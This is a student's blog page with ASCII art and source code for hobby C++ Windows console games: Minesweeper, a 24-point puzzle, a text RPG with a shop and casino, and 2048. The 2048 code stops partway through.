欢迎大家来欣赏我的 博客!!!
_
| | _
_ _ _ ____ | | ____ _____ __ __ ____ _| |_ _____ _
| | | || __ \| || __|| _ || | || ___\ |_ _|| _ | |_|
| | | || ___/| || |__ | |_| || | | || ___/ | |_ | |_| | _
\__|__/|____||_||____||_____||_|_|_||____| |___||_____| |_|
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@[@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/` @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@[ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@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@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@






#include<bits/stdc++.h>
using namespace std;
int main(){
}
/edit
<details>
<summary>点击查看详情</summary>
这里是隐藏的详细内容,只有在展开时才会显示。
</details>
<font color="red">红色文本</font>


网页
实用网站
这个是题解的写法或这个还有this
万恶之源
洛谷传送门
工具哇
C++入门小教学
Fuxiu专区
一些入的主页
@
@
@
@
@
@
@
JC图片
注意保护好个人账号的安全!!!!!


代码区
新游戏:末日生存(三人共创版)
主页放不下了,代码在链接里面
扫雷小游戏(鼠标操控模式)
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
//▲雷 □已标记 ■未标记
using namespace std;
struct Node{
string show;
string hide;
}grid[20][20];
int left_flag,ci,bc;
int dx[8]={-1,-1,-1,0,0,1,1,1};
int dy[8]={-1,0,1,-1,1,-1,0,1};
void init(){
for(int i=1;i<=bc;i++){
for(int j=1;j<=bc;j++){
grid[i][j].show = "■";
grid[i][j].hide = "0";
}
}
int pos[256][2],idx=0;
for(int i=1;i<=bc;i++){
for(int j=1;j<=bc;j++) pos[idx][0]=i, pos[idx++][1]=j;
}
for(int i=255;i>0;i--){
int r=rand()%(i+1);
swap(pos[i][0],pos[r][0]);
swap(pos[i][1],pos[r][1]);
}
for(int i=0;i<left_flag;i++) grid[pos[i][0]][pos[i][1]].hide = "▲";
for(int i=1;i<=bc;i++){
for(int j=1;j<=bc;j++){
if(grid[i][j].hide=="▲") continue;
int cnt=0;
for(int k=0;k<8;k++){
int nx=i+dx[k],ny=j+dy[k];
if(nx>=1&&nx<=bc&&ny>=1&&ny<=bc&&grid[nx][ny].hide=="▲") cnt++;
}
if(cnt>0) grid[i][j].hide=to_string(cnt);
}
}
}
void dfs(int x,int y){
if(x<1||x>bc||y<1||y>bc||grid[x][y].show!="■") return;
grid[x][y].show=grid[x][y].hide;
if(grid[x][y].show!="0") return;
for(int i=0;i<8;i++) dfs(x+dx[i],y+dy[i]);
}
void cin_(){
system("cls");
cout<<"请输入地图的边长\n";
cin>>bc;system("cls");left_flag=2e9;
while(left_flag>=bc*bc){
cout<<"请输入雷的数量\n";
cin>>left_flag;
system("cls");
}
}
int main(){
srand(time(0));
HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE);
cout<<"本游戏由2025tyoi0293原创!!!请勿抄袭!!!!!";
system("start https://oiclass.com/user/14199");
Sleep(1500);
system("cls");
cout<<"移动鼠标时要慢一点!!!如果不遵守这项规则,可能会使控制台无法捕捉鼠标的移动!!!"<<endl;
system("pause");system("cls");
while(1){
left_flag=40;
cout<<"扫雷游戏(鼠标版),是否游玩?(是y否n)"<<endl;
char c=getch();
system("cls");
if(c=='n'){
if(!ci) cout<<"拜拜!!!!!!!!!!!(臭shazi)";
else cout<<"感谢游玩!!!";
return 0;
}
cin_();
init();
int hx,hy;
while(1){
system("cls");
cout<<"左键揭开 右键标记"<<endl;
cout<<"蓝色=选中"<<endl;
cout<<"雷=▲ 标记=□ 未标记=■"<<endl;
for(int i=1;i<=bc;i++){
for(int j=1;j<=bc;j++){
if(i==hx&&j==hy)SetConsoleTextAttribute(hOut,3);
cout<<grid[i][j].show;
SetConsoleTextAttribute(hOut,7);
}
cout<<endl;
}
cout<<"旗子:"<<left_flag<<endl;
INPUT_RECORD ir;DWORD rd;
HANDLE hIn=GetStdHandle(STD_INPUT_HANDLE);
SetConsoleMode(hIn, ENABLE_MOUSE_INPUT | ENABLE_EXTENDED_FLAGS);
bool ok=false;
while(!ok){
ReadConsoleInput(hIn,&ir,1,&rd);
if(ir.EventType!=MOUSE_EVENT)continue;
MOUSE_EVENT_RECORD me=ir.Event.MouseEvent;
int cx=me.dwMousePosition.X,cy=me.dwMousePosition.Y;
int gx=cy-2,gy=cx+1;
bool in=(gx>=1&&gx<=bc)&&(gy>=1&&gy<=bc);
if(!in) continue;
if(me.dwEventFlags==MOUSE_MOVED){hx=gx;hy=gy;ok=true;}
if((me.dwButtonState&FROM_LEFT_1ST_BUTTON_PRESSED)&&(me.dwEventFlags==0)){
if(grid[gx][gy].hide=="▲"){
system("cls");
cout<<"中!"<<endl;
for(int i=1;i<=bc;i++){
for(int j=1;j<=bc;j++){
if(i==gx&&j==gy) SetConsoleTextAttribute(hOut,3);
if(grid[i][j].hide!="0") cout<<grid[i][j].hide;
else cout<<" ";
SetConsoleTextAttribute(hOut,7);
}
cout<<endl;
}
system("pause");
system("cls");
goto END;
}
dfs(gx,gy);
ok=true;
}
if((me.dwButtonState&RIGHTMOST_BUTTON_PRESSED)&&(me.dwEventFlags==0)){
if(grid[gx][gy].show=="■"&&left_flag>0){
grid[gx][gy].show="□";
left_flag--;ok=true;
}
else if(grid[gx][gy].show=="□"){
grid[gx][gy].show="■";
left_flag++;ok=true;
}
}
}
bool win=true;
for(int i=1;i<=bc;i++){
for(int j=1;j<=bc;j++){
if(grid[i][j].hide!="▲" && (grid[i][j].show=="■"||grid[i][j].show=="□")){
win=false;
break;
}
if(grid[i][j].hide=="▲" && grid[i][j].show!="□"){
win=false;
break;
}
}
if(!win) break;
}
if(win){
system("cls");
cout<<"胜利!"<<endl;
system("pause");
system("cls");
goto END;
}
}
END:ci++;
}
return 0;
}
24点(肥肠好玩)
#include<bits/stdc++.h>
#include<windows.h>
#define int long long
using namespace std;
int a[5];
bool u;
char opt[5] = {'+', '-', '*', '/'};
// 计算两个数的运算结果
int calc(int a, int b, char ch) {
if (ch == '+') return a + b;
if (ch == '-') return max(a, b) - min(a, b);
if (ch == '*') return a * b;
if (ch == '/') return (b == 0 || a < b || a % b ? -99999999 : a / b);
}
// 打印解题步骤
void print(int a, int b, int c, int d, int e, int f, char ch1, char ch2, char ch3) {
cout << max(a, b) << ch1 << min(a, b) << "=" << calc(a, b, ch1) << endl;
cout << max(c, d) << ch2 << min(c, d) << "=" << calc(c, d, ch2) << endl;
cout << max(e, f) << ch3 << min(e, f) << "=" << calc(e, f, ch3) << endl;
u = 0;
return;
}
// 判断当前4个数字是否有解(能算出24)
bool has_solution(int nums[]) {
int temp[5];
// 复制数组避免修改原数据
for (int i = 1; i <= 4; i++) temp[i] = nums[i];
sort(temp + 1, temp + 5);
do {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
for (int k = 0; k < 4; k++) {
int res1 = calc(temp[1], temp[2], opt[i]);
int res2 = calc(temp[3], temp[4], opt[j]);
if (calc(res1, res2, opt[k]) == 24) return true;
int res3 = calc(calc(temp[1], temp[2], opt[i]), temp[3], opt[j]);
if (calc(res3, temp[4], opt[k]) == 24) return true;
}
}
}
} while (next_permutation(temp + 1, temp + 5));
return false;
}
signed main() {
srand(time(NULL));
int t = 0;
while (1) {
u = 1;
a[1] = rand() % 13 + 1;
a[2] = rand() % 13 + 1;
a[3] = rand() % 13 + 1;
a[4] = rand() % 13 + 1;
if (!has_solution(a)) {
continue;
}
++t;
cout << "---------------------【第" << t << "题】----------------------\n";
cout << a[1] << ' ' << a[2] << ' ' << a[3] << ' ' << a[4] << endl;
system("pause");
sort(a + 1, a + 5);
do {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
for (int k = 0; k < 4; k++) {
if (calc(calc(a[1], a[2], opt[i]), calc(a[3], a[4], opt[j]), opt[k]) == 24 && u) {
print(a[1], a[2], a[3], a[4], calc(a[1], a[2], opt[i]), calc(a[3], a[4], opt[j]), opt[i], opt[j], opt[k]);
}
if (calc(calc(calc(a[1], a[2], opt[i]), a[3], opt[j]), a[4], opt[k]) == 24 && u) {
print(a[1], a[2], calc(a[1], a[2], opt[i]), a[3], calc(calc(a[1], a[2], opt[i]), a[3], opt[j]), a[4], opt[i], opt[j], opt[k]);
}
}
}
}
} while (next_permutation(a + 1, a + 5));
Sleep(2026);
system("cls");
}
return 0;
}
摘自@
魔兽世界小游戏
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
#define int long long
using namespace std;
int x;
void cls(){system("cls");}
struct x1{
int coin,xue,gong;
}me;
struct x2{
string cws="无";
int xue,gong;
}my_animal;
struct x3{
string gjs="无",fys="无";
int gong,xue;
}wq;
//商城
void chong(){
cls();
cout<<"1.狸花猫 攻击:20 血量:50 收费:金币*40\n";
cout<<"2.捷克狼犬 攻击:50 血量:100 收费:金币*80\n";
cout<<"3.银狐 攻击:70 血量:140 收费:金币*120\n";
cout<<"4.东北虎 攻击:150 血量:300 收费:金币*250\n";
cout<<"5.霸王龙 攻击:400 血量:1000 收费:金币*700";
string mp[10]={"","狸花猫","捷克狼犬","银狐","东北虎","霸王龙"};
int mp2[10]={0,40,80,120,250,700},mp3[10]={0,20,50,70,150,400},mp4[10]={0,50,100,140,300,1000};
while(cin>>x){
if(me.coin<mp2[x]) cout<<"金币不足,请重新购买\n";
else break;
}
cout<<"恭喜你获得:"<<mp[x]<<"!";
my_animal.cws=mp[x];
me.coin-=mp2[x];
my_animal.gong=mp3[x];
my_animal.xue=mp4[x];
cout<<"现在,你还有"<<me.coin<<"金币";
if(kbhit()) cls();
}
void hu(){
cout<<"1.攻击"<<endl;
cout<<"2.防御"<<endl;
cin>>x;
if(x==1){
string mp[10]={"","铁齿","铁爪套","钻石剑","东北虎","远古火焰球"};
int mp2[10]={0,15,30,70,170,350},mp3[10]={0,20,30,50,100,250};
cout<<"1.铁齿 (攻击力+20) 收费:金币*15"<<endl;
cout<<"2.铁爪套 (攻击力+30) 收费:金币*30"<<endl;
cout<<"3.钻石剑 (攻击力+50) 收费:金币*70"<<endl;
cout<<"4.远古石球 (攻击力+100) 收费:金币*170"<<endl;
cout<<"5.远古火焰球 (攻击力+250) 收费:金币*350"<<endl;
while(cin>>x){
if(me.coin<mp2[x]) cout<<"金币不足,请重新购买\n";
else break;
}
cout<<"恭喜你获得:"<<mp[x]<<"!";
wq.gjs=mp[x];
wq.gong=mp3[x];
me.gong+=mp3[x];
me.coin-=mp2[x];
cout<<"现在,你还有"<<me.coin<<"金币\n";
if(kbhit()) cls();
}
if(x==2){
string mp[10]={"","普通盾牌","高级盾牌","钛合金盾牌","普通能量盾","高级能量盾"};
int mp2[10]={0,50,150,300,500,1000},mp3[10]={0,50,120,250,350,900};
cout<<"1.普通盾牌 (生命值:50) 收费:金币*50"<<endl;
cout<<"2.高级盾牌 (生命值:150) 收费:金币*120"<<endl;
cout<<"3.钛合金盾牌 (生命值:300) 收费:金币*250"<<endl;
cout<<"4.普通能量盾 (生命值:500) 收费:金币*350"<<endl;
cout<<"5.高级能量盾 (生命值:1000) 收费:金币*900"<<endl;
while(cin>>x){
if(me.coin<mp2[x]) cout<<"金币不足,请重新购买\n";
else break;
}
cout<<"恭喜你获得:"<<mp[x]<<"!";
wq.fys=mp[x];
wq.xue=mp3[x];
me.coin-=mp2[x];
cout<<"现在,你还有"<<me.coin<<"金币\n";
if(kbhit()) cls();
}
}
void yao(){
cls();
cout<<"1.注射器 (回复10血量) 收费:金币*5"<<endl;
cout<<"2.医疗包 (回复30血量) 收费:金币*20"<<endl;
cout<<"3.小型医疗箱 (回复60血量) 收费:金币*50"<<endl;
cout<<"5.大型医疗箱 (回复100血量) 收费:金币*70"<<endl;
int mp[10]={0,5,20,50,70},mp2[10]={0,10,30,60,100};
while(cin>>x){
if(me.coin<mp[x]) cout<<"金币不足,请重新购买\n";
else break;
}
me.coin-=mp[x];
me.xue+=mp2[x];
if(me.xue>100) me.xue=100;
cout<<"恭喜你回复 "<<mp2[x]<<"血量,你现在有:" <<me.xue<<"血量,"<<me.coin<<"金币\n";
if(kbhit()) cls();
}
void sc(){
while(1){
cls();
cout<<"1.宠物\n2.装备\n3.药品\n";
cin>>x;
if(x==1) chong();
if(x==2) hu();
if(x==3) yao();
cout<<"还要继续购买吗?继续请输入1,退出请输入0";
while(cin>>x){
if(x==1) break;
else if(x==0){
cls();
return;
}
else cout<<"继续请输入1,退出请输入0\n";
}
}
}
//
//
void dc(){
srand(time(0));
cls();
int a,k;
cout<<"欢迎来到赌场,在这里,赢了将获得双倍的赌注,输了则不会将赌注返还,平局则金币不变\n";
while(1){
cout<<"请输入你的赌注(赌注需<=2000元并且>=-2000元)\n";
while(cin>>a){
if(a<-2000||a>2000) cout<<"赌注超过限制,请重新输入\n";
else break;
}
me.coin-=a;
cout<<"你现在还有"<<me.coin<<"金币,请等待3秒···\n";
Sleep(3000);
k=rand()%11;
if(k>=6&&k<=8){
me.coin+=a;
cout<<"平局!你现在还有"<<me.coin<<"金币\n";
}
else if(k>8){
me.coin+=a*2;
cout<<"你赢了!你现在还有"<<me.coin<<"金币\n";
}
else cout<<"你输了!你现在还有"<<me.coin<<"金币\n";
cout<<"是否继续?继续请输入1,退出请输入0\n";
while(cin>>a){
if(a==1){
cls();
break;
}
else if(a==0){
cls();
return;
}
else cout<<"继续请输入1,退出请输入0\n";
}
}
}
//赌场
//
void cz(){
cls();
cout<<"1.小兵 攻击力:20 生命值:50 击杀奖励:金币*200"<<endl;
cout<<"2.喷火兵 攻击力:50 生命值:90 击杀奖励:金币*700"<<endl;
cout<<"3.重型装甲兵 攻击力:45 生命值:120 击杀奖励:金币*1000"<<endl;
cout<<"4.魔族将军 攻击力:100 生命值:250 击杀奖励:金币*2000"<<endl;
cout<<"5.魔族元帅 攻击力:250 生命值:450 击杀奖励:金币*3000"<<endl;
string name[10]={"","小兵","喷火兵","重型装甲兵","魔族将军","魔族元帅"};
int gong[10]={0,20,50,45,100,250},xue[10]={0,50,90,120,250,450},jiang[10]={0,200,700,1000,2000,3000};
cin>>x;
int a=xue[x],p=1;
cls();
while(a){
cout<<"你发动了攻击\n";
if(a-me.gong<=0){
Sleep(500);
cout<<"致命一击!怪物被击败了!\n";
break;
}
a-=me.gong;
Sleep(500);
cout<<"怪物失去"<<me.gong<<"点生命值,还剩"<<a<<"点生命值\n";
if(my_animal.cws!="无"){
Sleep(500);
cout<<"你的宠物 "<<my_animal.cws<<" 发动了攻击\n";
a-=my_animal.gong;
Sleep(500);
cout<<"怪物失去"<<my_animal.gong<<"点生命值,还剩"<<a<<"点生命值\n";
}
Sleep(1000);
cout<<"怪物发动了攻击\n";
if(wq.fys!="无"&&wq.xue!=0){
if(wq.xue>=gong[x]){
wq.xue-=gong[x];
Sleep(500);
cout<<"你的防御武器 "<<wq.fys<<" 替你挡下了攻击,现在它还剩"<<wq.xue<<"点生命值\n";
}
else{
me.xue=me.xue-gong[x]-wq.xue;
wq.xue=0;
Sleep(500);
cout<<"你的防御武器 "<<wq.fys<<" 替你挡下了部分攻击,现在它还剩"<<wq.xue<<"点生命值\n";
wq.fys="无";
Sleep(500);
cout<<"你挡下了部分攻击,现在你还剩"<<me.xue<<"点血量\n";
if(me.xue<=0){
Sleep(500);
cout<<"致命一击!你被击败了!\n";
p=0;
break;
}
}
}
if(my_animal.cws!="无"){
if(my_animal.xue-(gong[x]/2)<=0){
Sleep(500);
cout<<"致命一击!你的宠物被击败了!\n";
my_animal.cws="无";
my_animal.xue=my_animal.gong=0;
}
else{
my_animal.xue-=gong[x]/2;
Sleep(500);
cout<<"你的宠物 "<<my_animal.cws<<" 受到了伤害,现在它还剩"<<my_animal.xue<<"点生命值\n";
}
}
else{
if(me.xue-gong[x]<=0){
Sleep(500);
cout<<"致命一击!你被击败了!\n";
p=0;
break;
}
me.xue-=gong[x];
Sleep(500);
cout<<"你挡下了攻击,现在你还剩"<<me.xue<<"点血量\n";
}
}
if(p==1){
cout<<"现在,你有2个选择:\n1.继续战斗\n2.去商城\n";
cout<<"输入0退出\n";
while(cin>>x){
if(x>2||x<0) cout<<"现在,你有2个选择:1.继续战斗,2.去商城;输入0退出\n";
else break;
}
if(x==1) cz();
if(x==2) sc();
if(x==0) cls();
}
else{
cout<<"现在,你有2个选择:输入1去药房买药,输入0直接结束游戏\n";
while(cin>>x){
if(x>1||x<0) cout<<"现在,你有2个选择:输入1去药房买药,输入0直接结束游戏\n";
else break;
}
if(x==1) yao();
if(x==0) x=-1;
}
}
//出战
//
void print(){
cls();
printf("玩家--金币:%lld,血量:%lld,攻击:%lld\n",me.coin,me.xue,me.gong);
cout<<"宠物:"<<my_animal.cws;
if(my_animal.cws!="无") printf("--攻击:%lld,血量:%lld\n",my_animal.gong,my_animal.xue);
else cout<<endl;
cout<<"攻击武器:"<<wq.gjs<<endl;
if(wq.gjs!="无") printf("--攻击力:%lld\n",wq.gong);
else cout<<endl;
cout<<"防御武器:"<<wq.fys;
if(wq.fys!="无") printf("--血量:%lld",wq.xue);
cout<<"\n输入任意数字或字符退出";
cin>>x;
cls();
return;
}
//查看个人信息
//
void boss(){
cout<<"现在,你有4个选择:\n1.去商城\n2.去赌场\n3.迎战Boss\n4.查看个人信息\n";
cout<<"1 2 4选项运行完之后将会直接开始迎战Boss,请慎重考虑\n";
cin>>x;
if(x==0){
cout<<"感谢游玩!";
return;
}
if(x>3){
cout<<"输入数据太大!请重新输入\n";
cls();boss();
}
if(x<1){
cout<<"输入数据太小!请重新输入\n";
cls();boss();
}
if(x==1) sc();
if(x==2) dc();
if(x==4) print();
int a=700,p=1,gong=400;
cls();
while(a){
cout<<"你发动了攻击\n";
if(a-me.gong<=0){
Sleep(500);
cout<<"致命一击!Boss被击败了!\n";
break;
}
a-=me.gong;
Sleep(500);
cout<<"Boss失去"<<me.gong<<"点生命值,还剩"<<a<<"点生命值\n";
if(my_animal.cws!="无"){
Sleep(500);
cout<<"你的宠物 "<<my_animal.cws<<" 发动了攻击\n";
a-=my_animal.gong;
Sleep(500);
cout<<"Boss失去"<<my_animal.gong<<"点生命值,还剩"<<a<<"点生命值\n";
}
Sleep(1000);
cout<<"Boss发动了攻击\n";
if(wq.fys!="无"&&wq.xue!=0){
if(wq.xue>=gong){
wq.xue-=gong;
Sleep(500);
cout<<"你的防御武器 "<<wq.fys<<" 替你挡下了攻击,现在它还剩"<<wq.xue<<"点生命值\n";
}
else{
me.xue=me.xue-gong-wq.xue;
wq.xue=0;
Sleep(500);
cout<<"你的防御武器 "<<wq.fys<<" 替你挡下了部分攻击,现在它还剩"<<wq.xue<<"点生命值\n";
wq.fys="无";
Sleep(500);
cout<<"你挡下了部分攻击,现在你还剩"<<me.xue<<"点血量\n";
if(me.xue<=0){
Sleep(500);
cout<<"致命一击!你被击败了!\n";
p=0;
break;
}
}
}
if(my_animal.cws!="无"){
if(my_animal.xue-(gong/2)<=0){
Sleep(500);
cout<<"致命一击!你的宠物被击败了!\n";
my_animal.cws="无";
my_animal.xue=my_animal.gong=0;
}
else{
my_animal.xue-=gong/2;
Sleep(500);
cout<<"你的宠物 "<<my_animal.cws<<" 受到了伤害,现在它还剩"<<my_animal.xue<<"点生命值\n";
}
}
else{
if(me.xue-gong<=0){
Sleep(500);
cout<<"致命一击!你被击败了!\n";
p=0;
break;
}
me.xue-=gong;
Sleep(500);
cout<<"你挡下了攻击,现在你还剩"<<me.xue<<"点血量\n";
}
}
if(p==0) cout<<"你被魔族Boss击败了,从此你成为了魔族的奴隶···(坏结局)";
else cout<<"魔族Boss被击败了,于是魔族投靠了你,你成为了魔兽世界的统治者!(好结局)";
Sleep(1000);
}
//boss
signed main(){
me.coin=me.xue=100;
me.gong=50;
printf("欢迎进入魔兽世界!你现在有:%lld金币,%lld攻击力,%lld血量\n",me.coin,me.gong,me.xue);
cout<<"输入对应的数字,可以去到对应的区域或购买到对应的物品\n";
while(1){
if(me.coin>=7000){
cout<<"不幸消息:魔族Boss找到了你!(魔族Boss:小子,可以啊,这么快就已经有7000金币了。呵呵,成为我们魔族的奴隶吧!)\n";
cout<<"魔族Boss 攻击力:400,生命值:700,杀死Boss将直接通关\n";
boss();
break;
}
cout<<"现在,你有4个选择:\n1.去商城\n2.去赌场\n3.出战\n4.查看个人信息\n";
cout<<"输入0退出游戏\n";
cin>>x;
if(x==0){
cout<<"感谢游玩!";
return 0;
}
if(x>4){
cout<<"输入数据太大!请重新输入\n";
cls();continue;
}
if(x<1){
cout<<"输入数据太小!请重新输入\n";
cls();continue;
}
if(x==1) sc();
if(x==2) dc();
if(x==3){
cz();
if(x==-1){
cout<<"感谢游玩!";
return 0;
}
}
if(x==4) print();
}
}
2048小游戏
#include<bits/stdc++.h>
#include<windows.h>
#include <conio.h>
using namespace std;
int gz[6][6];
int ppdd=0;
int jf=0,maxjf;
// 从第二个代码提取的显示函数
map<int,int>col;
int maxn,n=4;
int wcnt(int x){
int cnt=0;
while(x>0){
++cnt;
x/=10;
}
return cnt;
}
void mid(int x,int d){
if(x==0){
cout<<" ";
return;
}
int w=wcnt(x);
if((d-w)%2){
for(int i=1;i<=(d-w)/2+1;i++){
cout<<" ";
}
}else{
for(int i=1;i<=(d-w)/2;i++){
cout<<" ";
}
}
cout<<x;
for(int i=1;i<=(d-w)/2;i++){
cout<<" ";
}
}
void out(string s,int id=7,int tim=0){
HANDLE handle=::GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO info;
GetConsoleScreenBufferInfo(handle,&info);
WORD colorBak=info.wAttributes;
SetConsoleTextAttribute(handle,id);
for(int i=0;i<(int)s.size();i++){
cout<<s[i];
if(tim>0) Sleep(tim);
}
SetConsoleTextAttribute(handle,colorBak);
}
void saveJF() {
std::ofstream file("maxjf.txt");
file << maxjf;
file.close();
}
// 读取
void loadJF() {
std::ifstream file("maxjf.txt");
if (!file >> maxjf) {
std::cout << "存档不存在,maxjf = 0" << std::endl;
}else file >> maxjf;
file.close();
}
void initColors(){
col[0]=0; // 空位置
col[2]=3;
col[4]=4;
col[8]=6;
col[16]=7;
col[32]=8;
col[64]=10;
col[128]=11;
col[256]=12;
col[512]=14;
col[1024]=3;
col[2048]=4;
col[4096]=6;
col[8192]=7;
col[16384]=8;
col[32768]=10;
col[65536]=11;
col[131072]=12;
col[262144]=14;
col[524288]=3;
col[1048576]=4;
}
// 完全复制第二个代码的print函数,只做最小修改
void printGameBoard(){
system("cls");
HANDLE handle=::GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO info;
GetConsoleScreenBufferInfo(handle,&info);
WORD colorBak=info.wAttributes;
// 重新计算最大数字位数
maxn = 0;
for(int i=1;i<=n;i++)
for(int j=1;j<=n;j++)
maxn=max(maxn,wcnt(gz[i][j]));
// 完全按照第二个代码的显示逻辑
out(" \n",0xff);
for(int i=1;i<=n;i++){
for(int r=1;r<=5;r++){
for(int j=1;j<=n;j++){
SetConsoleTextAttribute(handle,16*col[gz[i][j]]);
out(" ",0xff);
if(r==3){
mid(gz[i][j],10);
} else {
cout<<" ";
}
SetConsoleTextAttribute(handle,colorBak);
}
out(" ",0xff);
cout<<"\n";
}
out(" \n",0xff);
}
SetConsoleTextAttribute(handle, colorBak);
}
bool IsKeyDown(int keyCode) {
return (GetAsyncKeyState(keyCode) & 0x8000) != 0;
}
bool js(){
for(int i=1;i<5;i++){
for(int j=1;j<5;j++){
for(int jb=0;jb<4;jb++){
if(gz[i-1][j]==0){
return true;
}else if(gz[i-1][j]==gz[i][j]&&gz[i-1][j]!=-1){
return true;
}
}
}
}
for(int i=4;i>=1;i--){
for(int j=1;j<5;j++){
for(int jb=0;jb<4;jb++){
if(gz[i+1][j]==0){
return true;
}else if(gz[i+1][j]==gz[i][j]&&gz[i+1][j]!=-1){
return true;
}
}
}
}
for(int i=1;i<5;i++){
for(int j=1;j<5;j++){
for(int jb=0;jb<4;jb++){
if(gz[i][j-1]==0){
return true;
}else if(gz[i][j-1]==gz[i][j]&&gz[i][j-1]!=-1){
return true;
}
}
}
}
for(int i=1;i<5;i++){
for(int j=4;j>=1;j--){
for(int jb=0;jb<4;jb++){
if(gz[i][j+1]==0){
return true;
}else if(gz[i][j+1]==gz[i][j]&&gz[i][j+1]!=-1){
return true;
}
}
}
}
return false;
}
void csh2048(){
for(int i=0;i<6;i++){
for(int j=0;j<6;j++){
gz[i][j]=-1;
}
}
for(int i=1;i<5;i++){
for(int j=1;j<5;j++){
gz[i][j]=0;
}
}
}
int main(){
loadJF();
bool pd2=true;
srand(time(0));
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
initColors();
while(1){
system("cls");
csh2048();
if(true){
// 使用彩色标题
out(" \n", 0xff);
out(" ", 7);
out("2", 12);
out("0", 10);
out("4", 9);
out("8", 11);
out(" GAME \n", 7);
out(" \n", 0xff);
}
cout<<"当前记录积分:"<<maxjf<<endl;
char c;
cout<<"开始y不玩n"<<endl;
cin>>c;
if(c=='n'){
cout<<"感谢游玩";
Sleep(1000);
return 0;
}else{
cout<<"4*4模式(作者太蠢,只会4*4)";
Sleep(1000);
system("cls");
cout<<"是"; Sleep(60);cout<<"否"; Sleep(60);cout<<"看"; Sleep(60);cout<<"操"; Sleep(60);cout<<"作"; Sleep(60);cout<<"提"; Sleep(60);cout<<"示"; Sleep(60);cout<<"?"; Sleep(60);cout<<endl; cout<<"是"; Sleep(60);cout<<"y"; Sleep(60);cout<<"否"; Sleep(60);cout<<"n"; Sleep(60);
cin>>c;
if(c=='y'){
cout<<"上下左右分别对应键盘右下方的四个箭头↑↓←→\n";
Sleep(700);
cout<<"按任意键继续..."<<endl;
_getch();
}
cout<<"游戏开始!!!\n";
Sleep(500);
system("cls");
jf=0;
while(1){
//准备工作---------------------------------------------------------------
int b[16],e=0,h=0,x,y,maxe=0,n;
for(int i=1;i<5;i++){
for(int j=1;j<5;j++){
maxe=max(maxe,gz[i][j]);
h++;
if(gz[i][j]==0){
b[e]=h;
e++;
}
}
}
if(maxe==2048){
printGameBoard();
HANDLE handle=::GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO info;
GetConsoleScreenBufferInfo(handle,&info);
WORD colorBak=info.wAttributes;
SetConsoleTextAttribute(handle, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout<<"You Win!!!"<<endl;
SetConsoleTextAttribute(handle, colorBak);
cout<<"积分:"<<jf<<endl;
maxjf=max(maxjf,jf);
cout<<"按任意键返回主菜单..."<<endl;
_getch();
break;
}
int random_number;
if(e==1){
random_number=0;
} else{
n=rand()%(e+1);
n=rand()%(e+1);
n=rand()%(e-1)+1;
random_number=n;
}
if(true){
if(b[random_number]==1){
x=1;y=1;
}if(b[random_number]==2){
x=1;y=2;
}if(b[random_number]==3){
x=1;y=3;
}if(b[random_number]==4){
x=1;y=4;
}if(b[random_number]==5){
x=2;y=1;
}if(b[random_number]==6){
x=2;y=2;
}if(b[random_number]==7){
x=2;y=3;
}if(b[random_number]==8){
x=2;y=4;
}if(b[random_number]==9){
x=3;y=1;
}if(b[random_number]==10){
x=3;y=2;
}if(b[random_number]==11){
x=3;y=3;
}if(b[random_number]==12){
x=3;y=4;
}if(b[random_number]==13){
x=4;y=1;
}if(b[random_number]==14){
x=4;y=2;
}if(b[random_number]==15){
x=4;y=3;
}if(b[random_number]==16){
x=4;y=4;
}
}
